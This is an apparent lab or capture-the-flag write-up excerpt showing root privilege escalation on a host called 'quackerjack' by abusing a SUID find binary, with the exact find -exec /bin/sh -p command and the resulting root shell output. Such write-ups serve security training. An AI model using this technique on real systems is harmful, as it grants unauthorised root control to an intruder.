SUID find


The find binary has SUID bit set.

According to GTFObins, find can be abused for privilege escalation

bash-4.2$ /us/usr/bin/find . -exec /bin/sh -p \; -quit
sh-4.2# 
sh-4.2# whoami
whoami
root
sh-4.2# hostname
hostname
quackerjack
sh-4.2# ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:9e:35:f1 brd ff:ff:ff:ff:ff:ff
    inet 192.168.144.57/24 brd 192.168.144.255 scope global ens192
       valid_lft forever preferred_lft forever

System level compromise